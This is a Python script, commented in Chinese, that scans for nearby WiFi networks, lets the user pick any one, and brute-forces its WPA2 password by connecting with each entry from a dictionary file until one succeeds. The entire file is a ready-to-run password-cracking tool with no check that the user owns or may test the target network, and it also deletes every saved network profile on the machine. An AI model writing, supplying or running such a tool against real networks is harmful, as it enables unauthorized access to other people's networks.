import time
import pywifi
from pywifi import const

class WifiPasswordTester:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()  # 创建一个wifi对象
        self.iface = self.wifi.interfaces()[0]  # 取第一个无线网卡
        self.iface.disconnect()  # 断开所有连接
        time.sleep(1)

    def scan_wifi(self):
        """扫描附近的WiFi网络"""
        self.iface.scan()
        time.sleep(2)  # 等待扫描完成
        result = self.iface.scan_results()
        wifi_list = []
        for profile in result:
            if profile.ssid not in wifi_list:  # 去重
                wifi_list.append(profile.ssid)
        return wifi_list

    def test_password(self, ssid, password):
        """测试密码是否正确"""
        profile = pywifi.Profile()  # 创建WiFi连接文件
        profile.ssid = ssid  # WiFi名称
        profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # WiFi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = password  # WiFi密码

        self.iface.remove_all_network_profiles()  # 删除所有连接文件
        tmp_profile = self.iface.add_network_profile(profile)  # 加载连接文件

        self.iface.connect(tmp_profile)  # 尝试连接
        time.sleep(3)  # 等待连接结果

        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接成功
            self.iface.disconnect()
            return True
        else:
            return False

def main():
    print("WiFi密码测试工具启动...")
    wifi_tester = WifiPasswordTester()
    
    # 扫描WiFi
    print("\n正在扫描附近的WiFi网络...")
    wifi_list = wifi_tester.scan_wifi()
    
    if not wifi_list:
        print("未找到任何WiFi网络")
        return

    # 显示可用的WiFi网络
    print("\n发现以下WiFi网络：")
    for i, ssid in enumerate(wifi_list, 1):
        print(f"{i}. {ssid}")

    # 选择要测试的WiFi
    while True:
        try:
            choice = int(input("\n请选择要测试的WiFi网络编号: ")) - 1
            if 0 <= choice < len(wifi_list):
                target_ssid = wifi_list[choice]
                break
            else:
                print("无效的选择，请重试")
        except ValueError:
            print("请输入有效的数字")

    # 读取密码字典
    password_file = input("\n请输入密码字典文件路径（每行一个密码）: ")
    try:
        with open(password_file, 'r', encoding='utf-8') as f:
            passwords = f.read().splitlines()
    except FileNotFoundError:
        print("密码文件不存在！")
        return
    except Exception as e:
        print(f"读取密码文件时出错: {e}")
        return

    print(f"\n开始测试 {target_ssid} 的密码...")
    found = False
    total = len(passwords)

    for index, password in enumerate(passwords, 1):
        print(f"\r当前进度: {index}/{total} ({(index/total)*100:.1f}%) 正在测试: {password}", end="")
        
        if wifi_tester.test_password(target_ssid, password):
            print(f"\n\n成功！WiFi密码是: {password}")
            found = True
            break

    if not found:
        print("\n\n未找到正确的密码。")

if __name__ == "__main__":
    main() 